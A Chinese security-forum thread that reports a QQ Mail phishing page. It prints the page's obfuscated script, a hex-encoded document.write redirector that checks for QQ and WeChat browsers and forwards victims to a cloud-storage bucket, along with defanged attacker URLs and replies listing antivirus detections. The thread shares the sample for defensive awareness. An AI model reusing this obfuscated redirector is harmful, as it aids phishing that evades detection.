QQ邮箱钓鱼

BE_HC

电脑访问第一个网址会跳转到反诈app，得用手机访问第一个才能跳转到正确的网址。
依旧是模板生成器，无效挂马
hxxp://49.234.31.246/hCcLpP/ge3ybq

1. <script>function VryAkYleJLRv(whdmBq){document.write((unescape(whdmBq)));};VryAkYleJLRv(" 3C 3F 70 68 70 0A 2F 2A 0A 54 65 6D 70 6C 61 74 65 20 4E 61 6D 65 3A u8DF3 u8F6C 2D u5176 u4ED6 u6D4F u89C8 u5668 0A 44 65 73 63 72 69 70 74 69 6F 6E 3A u9002 u5E94 u7535 u8111 u5FAE u4FE1 u6253 u5F00 u548C u5176 u4ED6 u6D4F u89C8 u5668 u6253 u5F00 0A 56 65 72 73 69 6F 6E 3A 0A 41 75 74 68 6F 72 3A 0A 41 75 74 68 6F 72 20 55 72 6C 3A 0A 50 72 65 76 69 65 77 20 55 72 6C 3A 68 74 74 70 73 3A 2F 2F 61 65 30 31 2E 61 6C 69 63 64 6E 2E 63 6F 6D 2F 6B 66 2F 48 54 42 31 34 63 67 51 53 72 50 70 4B 31 52 6A 53 5A 46 46 37 36 31 35 50 70 58 61 79 2E 70 6E 67 0A 2A 2F 0A 3F 3E 0A 3C 21 44 4F 43 54 59 50 45 20 68 74 6D 6C 3E 0A 3C 68 74 6D 6C 3E 0A 3C 68 65 61 64 3E 0A 3C 6D 65 74 61 20 68 74 74 70 2D 65 71 75 69 76 3D 22 43 6F 6E 74 65 6E 74 2D 54 79 70 65 22 20 63 6F 6E 74 65 6E 74 3D 22 74 65 78 74 2F 68 74 6D 6C 3B 20 63 68 61 72 73 65 74 3D 75 74 66 2D 38 22 3E 0A 3C 74 69 74 6C 65 3E u8DF3 u8F6C 3C 2F 74 69 74 6C 65 3E 0A 3C 6D 65 74 61 20 6E 61 6D 65 3D 22 76 69 65 77 70 6F 72 74 22 20 63 6F 6E 74 65 6E 74 3D 22 77 69 64 74 68 3D 64 65 76 69 63 65 2D 77 69 64 74 68 2C 6D 69 6E 69 6D 75 6D 2D 73 63 61 6C 65 3D 31 2E 30 2C 6D 61 78 69 6D 75 6D 2D 73 63 61 6C 65 3D 31 2E 30 2C 75 73 65 72 2D 73 63 61 6C 61 62 6C 65 3D 6E 6F 22 2F 3E 0A 3C 6D 65 74 61 20 6E 61 6D 65 3D 22 66 6F 72 6D 61 74 2D 64 65 74 65 63 74 69 6F 6E 22 20 63 6F 6E 74 65 6E 74 3D 22 74 65 6C 65 70 68 6F 6E 65 3D 6E 6F 22 2F 3E 0A 3C 6D 65 74 61 20 6E 61 6D 65 3D 22 61 70 70 6C 65 2D 6D 6F 62 69 6C 65 2D 77 65 62 2D 61 70 70 2D 63 61 70 61 62 6C 65 22 20 63 6F 6E 74 65 6E 74 3D 22 79 65 73 22 2F 3E 0A 3C 6D 65 74 61 20 6E 61 6D 65 3D 22 77 61 70 2D 66 6F 6E 74 2D 73 63 61 6C 65 22 20 63 6F 6E 74 65 6E 74 3D 22 6E 6F 22 2F 3E 0A 3C 6D 65 74 61 20 6E 61 6D 65 3D 22 61 70 70 6C 65 2D 6D 6F 62 69 6C 65 2D 77 65 62 2D 61 70 70 2D 73 74 61 74 75 73 2D 62 61 72 2D 73 74 79 6C 65 22 20 63 6F 6E 74 65 6E 74 3D 22 62 6C 61 63 6B 22 2F 3E 0A 3C 21 2D 2D 20 u5224 u65AD u662F u4E0D u662F 51 51 u548C u5FAE u4FE1 u5185 u90E8 u6253 u5F00 20 2D 2D 3E 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0A 3C 73 63 72 69 70 74 3E 0A 69 66 28 6E 61 76 69 67 61 74 6F 72 2E 75 73 65 72 41 67 65 6E 74 2E 69 6E 64 65 78 4F 66 28 22 51 51 2F 22 20 7C 7C 20 22 54 49 4D 2F 22 29 3E 30 29 7B 0A 77 69 6E 64 6F 77 2E 6C 6F 63 61 74 69 6F 6E 2E 68 72 65 66 3D 20 27 68 74 74 70 3A 2F 2F 63 2E 70 63 2E 71 71 2E 63 6F 6D 2F 6D 69 64 64 6C 65 2E 68 74 6D 6C 3F 70 66 75 72 6C 3D 68 74 74 70 3A 2F 2F 32 2D 31 33 30 39 32 30 39 35 34 34 2E 63 6F 73 2D 77 65 62 73 69 74 65 2E 61 70 2D 68 6F 6E 67 6B 6F 6E 67 2E 6D 79 71 63 6C 6F 75 64 2E 63 6F 6D 27 3B 0A 7D 65 6C 73 65 20 69 66 28 6E 61 76 69 67 61 74 6F 72 2E 75 73 65 72 41 67 65 6E 74 2E 69 6E 64 65 78 4F 66 28 22 4D 69 63 72 6F 4D 65 73 73 65 6E 67 65 72 22 29 3E 30 29 7B 0A 77 69 6E 64 6F 77 2E 6C 6F 63 61 74 69 6F 6E 2E 68 72 65 66 3D 20 27 68 74 74 70 3A 2F 2F 63 2E 70 63 2E 71 71 2E 63 6F 6D 2F 6D 69 64 64 6C 65 2E 68 74 6D 6C 3F 70 66 75 72 6C 3D 68 74 74 70 3A 2F 2F 32 2D 31 33 30 39 32 30 39 35 34 34 2E 63 6F 73 2D 77 65 62 73 69 74 65 2E 61 70 2D 68 6F 6E 67 6B 6F 6E 67 2E 6D 79 71 63 6C 6F 75 64 2E 63 6F 6D 27 3B 0A 7D 0A 20 20 3C 2F 73 63 72 69 70 74 3E 0A 3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 22 3E 76 61 72 20 75 69 64 20 3D 20 22 67 65 33 79 62 71 22 3B 76 61 72 20 72 69 64 20 3D 20 22 77 68 64 6D 42 71 22 3B 76 61 72 20 6C 6F 6E 67 75 72 6C 20 3D 20 22 68 74 74 70 3A 2F 2F 32 2D 31 33 30 39 32 30 39 35 34 34 2E 63 6F 73 2D 77 65 62 73 69 74 65 2E 61 70 2D 68 6F 6E 67 6B 6F 6E 67 2E 6D 79 71 63 6C 6F 75 64 2E 63 6F 6D 22 3B 76 61 72 20 73 69 74 65 5F 74 69 74 6C 65 20 3D 20 22 22 3B 76 61 72 20 63 6E 7A 7A 69 64 20 3D 20 22 31 32 37 33 33 38 36 34 31 36 22 3B 76 61 72 20 62 64 74 6A 69 64 20 3D 20 22 62 34 38 62 34 33 30 64 32 66 65 34 63 62 30 31 39 34 39 63 35 38 38 62 32 63 63 66 64 35 62 61 22 3B 76 61 72 20 71 71 5F 72 65 70 6F 72 74 20 3D 20 22 30 22 3B 76 61 72 20 76 78 5F 72 65 70 6F 72 74 20 3D 20 22 30 22 3B 76 61 72 20 66 31 32 5F 72 65 70 6F 72 74 20 3D 20 22 31 22 3B 76 61 72 20 74 5F 67 6F 5F 75 72 6C 20 3D 20 22 6E 6F 22 3B 76 61 72 20 64 65 6C 61 79 20 3D 20 22 30 22 3B 76 61 72 20 76 78 75 72 6C 20 3D 20 22 22 3B 76 61 72 20 74 5F 66 6F 72 6D 61 74 20 3D 20 22 22 3B 76 61 72 20 75 73 65 72 5F 72 65 70 6F 72 74 20 3D 20 22 31 22 3B 76 61 72 20 71 71 5F 72 65 70 6F 72 74 32 20 3D 20 22 31 22 3B 3C 2F 73 63 72 69 70 74 3E 0A 3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3D 22 2E 2E 2F 2E 2E 2F 61 73 73 65 74 73 2F 70 6C 75 67 69 6E 2F 6A 75 6D 70 2F 71 71 61 70 69 2E 6A 73 3F 5F 62 69 64 3D 31 35 32 22 3E 3C 2F 73 63 72 69 70 74 3E 0A 3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3D 22 2E 2E 2F 2E 2E 2F 61 73 73 65 74 73 2F 70 6C 75 67 69 6E 2F 6A 75 6D 70 2F 6A 71 75 65 72 79 2E 6D 69 6E 2E 6A 73 22 3E 3C 2F 73 63 72 69 70 74 3E 0A 3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3D 22 2E 2E 2F 2E 2E 2F 61 73 73 65 74 73 2F 70 6C 75 67 69 6E 2F 6A 75 6D 70 2F 75 6F 6D 67 2E 70 68 70 3F 76 65 72 3D 31 31 38 35 36 31 31 36 34 35 36 39 36 35 30 35 37 35 35 30 32 32 22 3E 3C 2F 73 63 72 69 70 74 3E 0A 0A 3C 2F 68 65 61 64 3E 0A 3C 62 6F 64 79 3E 20 0A 3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3D 22 2E 2E 2F 2E 2E 2F 61 73 73 65 74 73 2F 70 6C 75 67 69 6E 2F 6A 75 6D 70 2F 6D 61 69 6E 2E 70 68 70 3F 76 65 72 3D 77 68 64 6D 42 71 22 3E 3C 2F 73 63 72 69 70 74 3E 0A 20 20 3C 73 63 72 69 70 74 20 74 79 70 65 3D 22 74 65 78 74 2F 6A 61 76 61 73 63 72 69 70 74 22 3E 0A 20 20 09 77 69 6E 64 6F 77 2E 6C 6F 63 61 74 69 6F 6E 2E 68 72 65 66 3D 27 68 74 74 70 3A 2F 2F 32 2D 31 33 30 39 32 30 39 35 34 34 2E 63 6F 73 2D 77 65 62 73 69 74 65 2E 61 70 2D 68 6F 6E 67 6B 6F 6E 67 2E 6D 79 71 63 6C 6F 75 64 2E 63 6F 6D 27 3B 0A 20 20 3C 2F 73 63 72 69 70 74 3E 0A 3C 2F 62 6F 64 79 3E 0A 3C 2F 68 74 6D 6C 3E".replace(/ /g,"%"));</script>

复制代码

hxxp://2-1309209544.cos-website.ap-hongkong.myqcloud.com/

蓝雨风暴

ESET直接报毒了

julietxu

安博士检测到网页病毒

blackmonster233

卡巴

761773275

663219623

迈克菲报可疑

hackerbob

大佬牛逼，竟然还会js

我感觉把这篇文章整理一下，解释一下代码的意思，发到吾爱或看雪，绝对是一篇精华文章，发到卡饭太可惜了，都没多少人看，看了的大多数人都没在意技术本身

syr000

Bitdefender Endpoint Security Tools 阻止了这个页面
您尝试访问的页面包含 恶意软件.

检测的恶意软件： Trojan.Dropper.VBS.Q
已阻止您的浏览器访问。

scratchyes

腾某云的对象储存